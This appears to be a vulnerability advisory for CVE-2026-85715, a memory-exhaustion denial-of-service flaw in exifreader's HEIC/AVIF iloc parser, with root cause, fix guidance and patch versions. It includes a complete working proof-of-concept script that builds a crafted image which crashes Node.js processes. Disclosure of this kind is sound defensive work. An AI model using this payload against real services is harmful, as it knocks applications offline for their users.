CVE-2026-85715 is a high-severity (CVSS 7.5) CWE-789 vulnerability in exifreader. A fix is available for exifreader — see the affected versions and patch details below.
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-85715.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
exifreadernpmDescription
Summary
ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.
Affected version tested
- npm package:
exifreader - Version:
4.41.0 - Affected formats: HEIC, AVIF (ISO-BMFF container)
Root cause
File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().
The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):
| Field | Controls |
|---|---|
offsetSize | Bytes per extent offset |
lengthSize | Bytes per extent length |
baseOffsetSize | Bytes per item base offset |
indexSize | Bytes per extent index |
The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:
for (let j = 0; j < item.extentCount; j++) {
const extent = {};
extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
offset += sizes.item.extent.extentIndex; // 0 when indexSize=0
extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0
extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
offset += sizes.item.extent.extentLength; // 0 when lengthSize=0
item.extents.push(extent); // allocates unconditionally
}
When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.
Reproduction
Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:
const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');
function u32be(n) {
return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
return [(n >>> 8) & 255, n & 255];
}
function str(s) {
return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
return [...u32be(8 + content.length), ...str(type), ...content];
}
const ITEMS = 10000;
const EXTENTS = 65535;
const ftyp = box('ftyp', [
...str('heic'),
...u32be(0),
...str('mif1'),
0, 0, 0, 0,
]);
const ilocPayload = [
0, 0, 0, 0,
0, 0,
...u16be(ITEMS),
];
for (let i = 0; i < ITEMS; i++) {
ilocPayload.push(...u16be(i + 1));
ilocPayload.push(...u16be(0));
ilocPayload.push(...u16be(EXTENTS));
}
const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);
fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);
console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);
const start = Date.now();
const timeout = setTimeout(() => {
console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
process.exit(1);
}, 30000);
try {
ExifReader.load(data.buffer);
clearTimeout(timeout);
console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
clearTimeout(timeout);
console.log(`Error: ${e.message}`);
}
Scaled test results
Run the above with different ITEMS values:
| Items | File size | Extent objects | Parse time | Heap growth |
|---|---|---|---|---|
| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |
| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |
| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |
| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |
| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |
Expected behavior
A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:
- Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or
- Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).
Security impact
This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.
Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.
Suggested fix
In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:
const MAX_EXTENTS_PER_ITEM = 10000;
for (let j = 0; j < item.extentCount; j++) {
if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
break;
}
// ... existing code ...
}
Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:
if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
// Fields are absent per spec; nothing meaningful to read
// Still advance offset if extentCount > 0 to maintain correctness
continue;
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | exifreader | all versions | 4.41.1npm install exifreader@4.41.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for exifreader, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update exifreader to 4.41.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-85715 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-85715 in your dependencies?
Find it across npm, including transitive dependencies.